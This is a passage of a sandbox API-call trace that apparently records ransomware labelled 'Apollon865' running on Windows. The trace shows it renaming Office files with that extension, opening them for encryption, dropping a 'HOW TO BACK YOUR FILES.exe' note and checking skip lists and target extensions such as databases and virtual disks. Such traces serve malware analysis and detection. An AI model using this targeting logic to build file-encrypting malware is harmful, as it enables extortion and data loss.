	[0070.236] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.236] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.236] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.237] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.238] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.239] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.239] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.239] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.PL.XML" | out: lpString1="YAHOO.PL.XML") returned="YAHOO.PL.XML"
	[0070.239] lstrlenW (lpString="YAHOO.PL.XML") returned 12
	[0070.239] lstrlenW (lpString="Apollon865") returned 10
	[0070.239] lstrcmpiW (lpString1="HOO.PL.XML", lpString2="Apollon865") returned 1
	[0070.239] lstrlenW (lpString=".dll") returned 4
	[0070.239] lstrcmpiW (lpString1="YAHOO.PL.XML", lpString2=".dll") returned 1
	[0070.239] lstrlenW (lpString=".lnk") returned 4
	[0070.239] lstrcmpiW (lpString1="YAHOO.PL.XML", lpString2=".lnk") returned 1
	[0070.239] lstrlenW (lpString=".ini") returned 4
	[0070.239] lstrcmpiW (lpString1="YAHOO.PL.XML", lpString2=".ini") returned 1
	[0070.239] lstrlenW (lpString=".sys") returned 4
	[0070.240] lstrcmpiW (lpString1="YAHOO.PL.XML", lpString2=".sys") returned 1
	[0070.240] lstrlenW (lpString="YAHOO.PL.XML") returned 12
	[0070.240] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML.Apollon865") returned 86
	[0070.240] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.pl.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.pl.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.PL.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.pl.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.241] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=806) returned 1
	[0070.241] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.241] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.241] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.242] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.243] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.244] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.244] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.244] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.245] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.SE.XML" | out: lpString1="YAHOO.SE.XML") returned="YAHOO.SE.XML"
	[0070.245] lstrlenW (lpString="YAHOO.SE.XML") returned 12
	[0070.245] lstrlenW (lpString="Apollon865") returned 10
	[0070.245] lstrcmpiW (lpString1="HOO.SE.XML", lpString2="Apollon865") returned 1
	[0070.245] lstrlenW (lpString=".dll") returned 4
	[0070.245] lstrcmpiW (lpString1="YAHOO.SE.XML", lpString2=".dll") returned 1
	[0070.245] lstrlenW (lpString=".lnk") returned 4
	[0070.245] lstrcmpiW (lpString1="YAHOO.SE.XML", lpString2=".lnk") returned 1
	[0070.245] lstrlenW (lpString=".ini") returned 4
	[0070.245] lstrcmpiW (lpString1="YAHOO.SE.XML", lpString2=".ini") returned 1
	[0070.245] lstrlenW (lpString=".sys") returned 4
	[0070.245] lstrcmpiW (lpString1="YAHOO.SE.XML", lpString2=".sys") returned 1
	[0070.245] lstrlenW (lpString="YAHOO.SE.XML") returned 12
	[0070.245] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML.Apollon865") returned 86
	[0070.245] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.se.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.se.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.se.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.246] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=806) returned 1
	[0070.246] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.247] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.247] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.247] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.249] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.249] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.250] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.250] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.250] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\OneNote", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OneNote") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote"
	[0070.250] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5ae8 | out: hHeap=0x580000) returned 1
	[0070.251] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OneNote") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote"
	[0070.251] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.251] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.264] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.264] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41f2c390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x41f2c390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0070.264] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.264] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.264] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0070.264] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41f2c390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x41f2c390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.264] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.264] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0070.264] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0070.264] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0070.264] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f2c390, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x41f2c390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0070.264] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0070.264] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fd1300, ftCreationTime.dwHighDateTime=0x1c8e623, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5fd1300, ftLastWriteTime.dwHighDateTime=0x1c8e623, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendToOneNote-PipelineConfig.xml", cAlternateFileName="SENDTO~1.XML")) returned 1
	[0070.264] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.264] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="Apollon865.txt.exe") returned 1
	[0070.264] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2=".") returned 1
	[0070.264] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="..") returned 1
	[0070.264] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="windows") returned -1
	[0070.264] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="bootmgr") returned 1
	[0070.264] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="temp") returned -1
	[0070.264] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="pagefile.sys") returned 1
	[0070.265] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="boot") returned 1
	[0070.265] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="ids.txt") returned 1
	[0070.265] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="ntuser.dat") returned 1
	[0070.265] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="perflogs") returned 1
	[0070.265] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2="MSBuild") returned 1
	[0070.265] lstrlenW (lpString="SendToOneNote-PipelineConfig.xml") returned 32
	[0070.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\*") returned 52
	[0070.265] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SendToOneNote-PipelineConfig.xml" | out: lpString1="SendToOneNote-PipelineConfig.xml") returned="SendToOneNote-PipelineConfig.xml"
	[0070.265] lstrlenW (lpString="SendToOneNote-PipelineConfig.xml") returned 32
	[0070.265] lstrlenW (lpString="Apollon865") returned 10
	[0070.265] lstrcmpiW (lpString1="Config.xml", lpString2="Apollon865") returned 1
	[0070.265] lstrlenW (lpString=".dll") returned 4
	[0070.265] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2=".dll") returned 1
	[0070.265] lstrlenW (lpString=".lnk") returned 4
	[0070.265] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2=".lnk") returned 1
	[0070.265] lstrlenW (lpString=".ini") returned 4
	[0070.265] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2=".ini") returned 1
	[0070.265] lstrlenW (lpString=".sys") returned 4
	[0070.265] lstrcmpiW (lpString1="SendToOneNote-PipelineConfig.xml", lpString2=".sys") returned 1
	[0070.265] lstrlenW (lpString="SendToOneNote-PipelineConfig.xml") returned 32
	[0070.265] lstrlenW (lpString="bak") returned 3
	[0070.265] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0070.265] lstrlenW (lpString="ba_") returned 3
	[0070.265] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0070.265] lstrlenW (lpString="dbb") returned 3
	[0070.265] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0070.265] lstrlenW (lpString="vmdk") returned 4
	[0070.265] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0070.265] lstrlenW (lpString="rar") returned 3
	[0070.265] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0070.265] lstrlenW (lpString="zip") returned 3
	[0070.266] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0070.266] lstrlenW (lpString="tgz") returned 3
	[0070.266] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0070.266] lstrlenW (lpString="vbox") returned 4
	[0070.266] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0070.266] lstrlenW (lpString="vdi") returned 3
	[0070.266] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0070.266] lstrlenW (lpString="vhd") returned 3
	[0070.266] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0070.266] lstrlenW (lpString="vhdx") returned 4
	[0070.266] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0070.266] lstrlenW (lpString="avhd") returned 4
	[0070.266] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0070.266] lstrlenW (lpString="db") returned 2
	[0070.266] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0070.266] lstrlenW (lpString="db2") returned 3
	[0070.266] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0070.266] lstrlenW (lpString="db3") returned 3
	[0070.266] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0070.266] lstrlenW (lpString="dbf") returned 3
	[0070.266] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0070.266] lstrlenW (lpString="mdf") returned 3
	[0070.266] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0070.266] lstrlenW (lpString="mdb") returned 3
	[0070.266] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0070.266] lstrlenW (lpString="sql") returned 3
	[0070.266] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0070.266] lstrlenW (lpString="sqlite") returned 6
	[0070.266] lstrcmpiW (lpString1="ig.xml", lpString2="sqlite") returned -1
	[0070.266] lstrlenW (lpString="sqlite3") returned 7
	[0070.266] lstrcmpiW (lpString1="fig.xml", lpString2="sqlite3") returned -1
	[0070.266] lstrlenW (lpString="sqlitedb") returned 8
	[0070.266] lstrcmpiW (lpString1="nfig.xml", lpString2="sqlitedb") returned -1
	[0070.266] lstrlenW (lpString="xml") returned 3
	[0070.266] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0070.266] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml.Apollon865") returned 94
	[0070.267] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0070.268] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=506) returned 1
	[0070.268] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.268] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.268] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.269] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.269] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.269] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.269] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500, lpName=0x0) returned 0x118
	[0070.271] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x500) returned 0x100000
	[0070.272] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.273] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.273] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.273] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0070.273] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0070.273] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.273] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.273] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.273] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.273] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0070.273] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.273] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0070.273] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.273] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0070.273] CloseHandle (hObject=0x118) returned 1
	[0070.273] CloseHandle (hObject=0x15c) returned 1
	[0070.273] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.273] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0070.274] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.274] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7167100, ftCreationTime.dwHighDateTime=0x1c9d832, ftLastAccessTime.dwLowDateTime=0x598184b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7167100, ftLastWriteTime.dwHighDateTime=0x1c9d832, nFileSizeHigh=0x0, nFileSizeLow=0x2580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendToOneNote.gpd", cAlternateFileName="SENDTO~1.GPD")) returned 1
	[0070.274] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.274] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="Apollon865.txt.exe") returned 1
	[0070.274] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2=".") returned 1
	[0070.274] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="..") returned 1
	[0070.274] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="windows") returned -1
	[0070.274] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="bootmgr") returned 1
	[0070.274] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="temp") returned -1
	[0070.274] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="pagefile.sys") returned 1
	[0070.274] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="boot") returned 1
	[0070.274] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="ids.txt") returned 1
	[0070.274] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="ntuser.dat") returned 1
	[0070.274] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="perflogs") returned 1
	[0070.274] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2="MSBuild") returned 1
	[0070.274] lstrlenW (lpString="SendToOneNote.gpd") returned 17
	[0070.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml") returned 83
	[0070.274] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="SendToOneNote.gpd" | out: lpString1="SendToOneNote.gpd") returned="SendToOneNote.gpd"
	[0070.274] lstrlenW (lpString="SendToOneNote.gpd") returned 17
	[0070.274] lstrlenW (lpString="Apollon865") returned 10
	[0070.274] lstrcmpiW (lpString1="neNote.gpd", lpString2="Apollon865") returned 1
	[0070.274] lstrlenW (lpString=".dll") returned 4
	[0070.274] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2=".dll") returned 1
	[0070.274] lstrlenW (lpString=".lnk") returned 4
	[0070.274] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2=".lnk") returned 1
	[0070.274] lstrlenW (lpString=".ini") returned 4
	[0070.274] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2=".ini") returned 1
	[0070.274] lstrlenW (lpString=".sys") returned 4
	[0070.274] lstrcmpiW (lpString1="SendToOneNote.gpd", lpString2=".sys") returned 1
	[0070.275] lstrlenW (lpString="SendToOneNote.gpd") returned 17
	[0070.275] lstrlenW (lpString="bak") returned 3
	[0070.275] lstrcmpiW (lpString1="gpd", lpString2="bak") returned 1
	[0070.275] lstrlenW (lpString="ba_") returned 3
	[0070.275] lstrcmpiW (lpString1="gpd", lpString2="ba_") returned 1
	[0070.275] lstrlenW (lpString="dbb") returned 3
	[0070.275] lstrcmpiW (lpString1="gpd", lpString2="dbb") returned 1
	[0070.275] lstrlenW (lpString="vmdk") returned 4
	[0070.275] lstrcmpiW (lpString1=".gpd", lpString2="vmdk") returned -1
	[0070.275] lstrlenW (lpString="rar") returned 3
	[0070.275] lstrcmpiW (lpString1="gpd", lpString2="rar") returned -1
	[0070.275] lstrlenW (lpString="zip") returned 3
	[0070.275] lstrcmpiW (lpString1="gpd", lpString2="zip") returned -1
	[0070.275] lstrlenW (lpString="tgz") returned 3
	[0070.275] lstrcmpiW (lpString1="gpd", lpString2="tgz") returned -1
	[0070.275] lstrlenW (lpString="vbox") returned 4
	[0070.275] lstrcmpiW (lpString1=".gpd", lpString2="vbox") returned -1
	[0070.275] lstrlenW (lpString="vdi") returned 3
	[0070.275] lstrcmpiW (lpString1="gpd", lpString2="vdi") returned -1
	[0070.275] lstrlenW (lpString="vhd") returned 3
	[0070.275] lstrcmpiW (lpString1="gpd", lpString2="vhd") returned -1
	[0070.275] lstrlenW (lpString="vhdx") returned 4
	[0070.275] lstrcmpiW (lpString1=".gpd", lpString2="vhdx") returned -1
	[0070.275] lstrlenW (lpString="avhd") returned 4
	[0070.275] lstrcmpiW (lpString1=".gpd", lpString2="avhd") returned -1
	[0070.275] lstrlenW (lpString="db") returned 2
	[0070.275] lstrcmpiW (lpString1="pd", lpString2="db") returned 1
	[0070.275] lstrlenW (lpString="db2") returned 3
	[0070.275] lstrcmpiW (lpString1="gpd", lpString2="db2") returned 1
	[0070.275] lstrlenW (lpString="db3") returned 3
	[0070.275] lstrcmpiW (lpString1="gpd", lpString2="db3") returned 1
	[0070.275] lstrlenW (lpString="dbf") returned 3
	[0070.275] lstrcmpiW (lpString1="gpd", lpString2="dbf") returned 1
	[0070.275] lstrlenW (lpString="mdf") returned 3
	[0070.275] lstrcmpiW (lpString1="gpd", lpString2="mdf") returned -1
	[0070.275] lstrlenW (lpString="mdb") returned 3
	[0070.275] lstrcmpiW (lpString1="gpd", lpString2="mdb") returned -1
	[0070.276] lstrlenW (lpString="sql") returned 3
	[0070.276] lstrcmpiW (lpString1="gpd", lpString2="sql") returned -1
	[0070.276] lstrlenW (lpString="sqlite") returned 6
	[0070.276] lstrcmpiW (lpString1="te.gpd", lpString2="sqlite") returned 1
	[0070.276] lstrlenW (lpString="sqlite3") returned 7
	[0070.276] lstrcmpiW (lpString1="ote.gpd", lpString2="sqlite3") returned -1
	[0070.276] lstrlenW (lpString="sqlitedb") returned 8
